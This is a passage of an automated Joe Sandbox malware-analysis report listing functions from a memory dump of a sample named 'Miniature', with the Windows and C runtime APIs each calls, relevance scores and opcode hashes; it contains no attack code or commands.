Opcode ID: 90bbc45ef03d58997e7f6bc2d33110442d14ab168656c2c1dd8b70b1ac0e036d
Instruction ID: e8cca3193b7936f6a9c3d15b67d0a2091039cd862d671b79d0601be78825a79c
Opcode Fuzzy Hash: 90bbc45ef03d58997e7f6bc2d33110442d14ab168656c2c1dd8b70b1ac0e036d
Instruction Fuzzy Hash: 98012171C01649EBCF11AFABDC02ADE7B65AF80760F148115B8285A161D73DCA12FF91

Function 00FB55C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FB8D58: __getptd_noexit.LIBCMT ref: 00FB8D58

__lock_file.LIBCMT ref: 00FB560B

Part of subcall function 00FB6E3E: __lock.LIBCMT ref: 00FB6E61

__fclose_nolock.LIBCMT ref: 00FB5616

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: a3a200876b46ca00185bf623ecb208ad58e90a02785722ce3de60524357bacd9
Instruction ID: d79afe0bfb8ea784f48c9b16afbd67ababe8b01ae14e4ff2bafd770297f08f97
Opcode Fuzzy Hash: a3a200876b46ca00185bf623ecb208ad58e90a02785722ce3de60524357bacd9
Instruction Fuzzy Hash: 35F09071901B059AD7216B7B8C02BEE77A66F80776F198209A424AB1C1CF7C8942FF55

Function 00FB5E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00FB5EB4
__ftell_nolock.LIBCMT ref: 00FB5EBF

Part of subcall function 00FB8D58: __getptd_noexit.LIBCMT ref: 00FB8D58

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 171f2fb45658161ba10cb7a3acb80415218f1eec33e7cb7d9423441e285e0907
Instruction ID: 44a984dfacaa166ad2c5d15ab9a994513b72479c31de58b7685774af44997efb
Opcode Fuzzy Hash: 171f2fb45658161ba10cb7a3acb80415218f1eec33e7cb7d9423441e285e0907
Instruction Fuzzy Hash: 2DF0A771A116159ADB01BB768D027DE72946F81771F114206A420FB1D1CF7CCA02FF55

Function 00FA5AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA5AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00FA5B1F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: a3a4e755c47ed94e4dabb7892fa19974e50c6e10897522c2ddbe5992934bc28f
Instruction ID: f84a6ba1760fef3c6ffa591f127da9b4dc87a23f73bbc6b31c3a4653f82b1345
Opcode Fuzzy Hash: a3a4e755c47ed94e4dabb7892fa19974e50c6e10897522c2ddbe5992934bc28f
Instruction Fuzzy Hash: 6DF082708043089BD7A29B249C4679677BC970130CF0001E9BA889628ADB7A4B88DF51

Function 0100C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 636fdb410ab9c05154c45c6a3e7d20fa2f36495cab8a0e3ab08ee58f1fddf831
Instruction ID: 3db41a3042f191e1f64fbba57eb0bb40e7487e866cc8325032a98520977060b8
Opcode Fuzzy Hash: 636fdb410ab9c05154c45c6a3e7d20fa2f36495cab8a0e3ab08ee58f1fddf831
Instruction Fuzzy Hash: E0B17E74A0010ADFEB15EF98C841DFEB7B5FF48710F10819AF915A7291EB75AA41CB50

Function 00F9A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction ID: 65dce9f4a72332c7fd5b22f8701c8738daf6600503d811ff4c4a83544b83827f
Opcode Fuzzy Hash: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction Fuzzy Hash: 2261BB71A002069FEB10DF54C881BBAB7E6FF44310F15806AE91A9B291D774ED81EB91

Function 00F9D679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c489199a0dd3f9316407970041e62a1dacedc7f3f419c8961a321abf77923e
Instruction ID: 1cf9330d4dba2730290ed331785b94ff8553fb752fb26ac8a75c0f57cf2ba902
Opcode Fuzzy Hash: 97c489199a0dd3f9316407970041e62a1dacedc7f3f419c8961a321abf77923e
Instruction Fuzzy Hash: F951C271B00604AFDF14EB64CD95FAE77A6AF85720F194058F806AB392CB38ED05EB51

Function 00FA343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FA351A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction ID: a7f6f7c14ae6bd6c4bbfdd83c2d5f406f244f44dcf75a474fd3126cb8fee4060
Opcode Fuzzy Hash: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction Fuzzy Hash: 7131B4B9A04A02DFC724DF19D490A62F7A0FF4A360714C569FD8A8B755DB30ED81EB90

Function 00FA410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00FA41B2

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1708b0b233b373b0597b165b263700eacb5d00400653b9891592af6368f959eb
Instruction ID: 5466ede61694e5d8e5381c43f2dc70d1db8bae42231574fe35b7e12b546620be
Opcode Fuzzy Hash: 1708b0b233b373b0597b165b263700eacb5d00400653b9891592af6368f959eb
Instruction Fuzzy Hash: E93181B1A00756AFCB19CF2DC880A5DB7B5FF95324F148629E81593714D7B0BDA0DB90

Function 00FCE2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00FCE2EA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 149486335167abd43f55a255b6bd16981b834501b3d5efedf9f00f0e0708d1ba
Instruction ID: bb347a3f764cc7b90b1c6416f73dab72b2654dce603137116ff36bb55f83096c
Opcode Fuzzy Hash: 149486335167abd43f55a255b6bd16981b834501b3d5efedf9f00f0e0708d1ba
Instruction Fuzzy Hash: AA410974908351CFEB24DF14C594B1ABBE1BF45318F1988ACE4898B362C336E885DB52

Function 00FA49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA4B29: FreeLibrary.KERNEL32(00000000,?), ref: 00FA4B63

Part of subcall function 00FB547B: __wfsopen.LIBCMT ref: 00FB5486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00FA27AF,?,00000001), ref: 00FA49F4

Part of subcall function 00FA4ADE: FreeLibrary.KERNEL32(00000000), ref: 00FA4B18

Part of subcall function 00FA48B0: _memmove.LIBCMT ref: 00FA48FA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: be88fca308adea837b69556b2362d5809225c0775f52a131a06e315745756c3e
Instruction ID: 36ce007b2c346141f6c7645b961b5c84147a8ee4579011b9730e4ccb3c2de699
Opcode Fuzzy Hash: be88fca308adea837b69556b2362d5809225c0775f52a131a06e315745756c3e
Instruction Fuzzy Hash: BF11C472650209ABCB14EF60CC02FAE77A99F82711F10842DF541A6191EEFDAA15BB94

Function 00FCE3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00FCE3CE

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f5a7e3d1c0f1e1028fcf0736de59a15b25b8c531c7aa9cc9a7ee68f4a3c205fa
Instruction ID: a420fedeefb1c374748c01c0c0c1d5989b9a9f539fffd5c7da305fc0198e34d0
Opcode Fuzzy Hash: f5a7e3d1c0f1e1028fcf0736de59a15b25b8c531c7aa9cc9a7ee68f4a3c205fa
Instruction Fuzzy Hash: 322124B4908341DFDB24DF14C854B1ABBE1BF88714F05896CF88A97362C735E849EB92

Function 00FA4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00FA3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00FA4276

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 018e867afdb69e160fc45a3b54c063a2959bc5483356f8c4171c78456195f101
Instruction ID: c5a46f05cbba4747f5e9dddafbccae31fad640f0203b042a31e2321f797800f7
Opcode Fuzzy Hash: 018e867afdb69e160fc45a3b54c063a2959bc5483356f8c4171c78456195f101
Instruction Fuzzy Hash: F9113AB1600B019FE330CF55C480B62B7F9EF89720F10C92DE8AA86A40D7B5F845EB60

Function 00FA1A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FA1A77

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction ID: eb69a1fa9a4aca0ce12b8b7a243b51d9926ee48b25aafdecfb4718023bd164e2
Opcode Fuzzy Hash: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction Fuzzy Hash: 1801D6B36017016ED3245B39DC06BB7BB98EB457A0F11862AF51ACA1D1EA35E440AB90

Function 00FEFEF8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FEFF33

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cc5625e1f20a0cd097ccf851359f3205128236cd68aebd9dbd04220413b2413c
Instruction ID: 1237ba2adeaa2dd39a58fd5bf7de25b8ea9b90fa118f7b501283599ca7b4b971
Opcode Fuzzy Hash: cc5625e1f20a0cd097ccf851359f3205128236cd68aebd9dbd04220413b2413c
Instruction Fuzzy Hash: D301D6322002256BCB14DF2ECC9196BB7A9EFC6364714852EF80ACB205EA31E801C790

Function 00FF7C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00FB0FE6: std::exception::exception.LIBCMT ref: 00FB101C
Part of subcall function 00FB0FE6: __CxxThrowException@8.LIBCMT ref: 00FB1031

_memset.LIBCMT ref: 00FF7CB4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction ID: 505e9f082e3e4ed50e872a168f1fd49da18565f93dca638611527d2779af11ba
Opcode Fuzzy Hash: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction Fuzzy Hash: 2101F6756082049FD321EF5DD941F56BBE1EF59310F24845AF5888B3A2DB76E801EF90

Function 00FA4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00FA4AA4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: 2cdfe8d2201032738957f5ed535c17c43deda84629f879e4c9f4bfe20ba61979
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 32F08CB6400208FFDF108F45DC00DEF7B7DEB85720F004198F9045A211D272EA21ABB0

Function 00FA4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00FA27AF,?,00000001), ref: 00FA4A63

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad1fe135c02aa8f57e83a7ce9c417d4f734063c47a6a524957e5768b29e6a7a4
Instruction ID: 6c54fa1ed5f576709eafe7b06eb9f8af503847e17bd70dcea541cda43365c7db
Opcode Fuzzy Hash: ad1fe135c02aa8f57e83a7ce9c417d4f734063c47a6a524957e5768b29e6a7a4
Instruction Fuzzy Hash: FBF030B2545701CFCB349F64D490816BBF4BF55325324893EE1D783610C7BAA984EF44

Function 00FA4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00FA4AD0

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: dc6c6b842182d5688254fc694c6ce379f78f65c424b4bc4c75eadc945675f3fa
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: 05F0F87240020DFFDF05CF90C941EAABB79FB15314F208589F9198A252D776EA61EB91

Function 00FB09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00FB09E4

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: f7ace85b21de5d6d7dc07cd0665f94e2e04259a87a1f22930fe5549b6cdecff9
Instruction ID: cf22f0f91edab0cd13d29573ecd66cf54f207e6bbd0750b3b976c30510067d7e
Opcode Fuzzy Hash: f7ace85b21de5d6d7dc07cd0665f94e2e04259a87a1f22930fe5549b6cdecff9
Instruction Fuzzy Hash: 5BE0863290022857C72195989C06FEA77DDEF89690F0541B6FC08D7208D9699C9186D1

Function 00FF4D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00FF4D31

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 0414b42d7a1ac5872604e02c937e0ed1b7f7a1a01d38469eb14c973660e6e7ad
Instruction ID: 3c75e3ad9ac024822c77a0d2b58695b3d60121439519db4e244899b48ea6b15f
Opcode Fuzzy Hash: 0414b42d7a1ac5872604e02c937e0ed1b7f7a1a01d38469eb14c973660e6e7ad
Instruction Fuzzy Hash: ABD05EB190032C2BDB70EAA49C0DDB77BACE744224F0006A1BCACC3105ED28AD4586E0

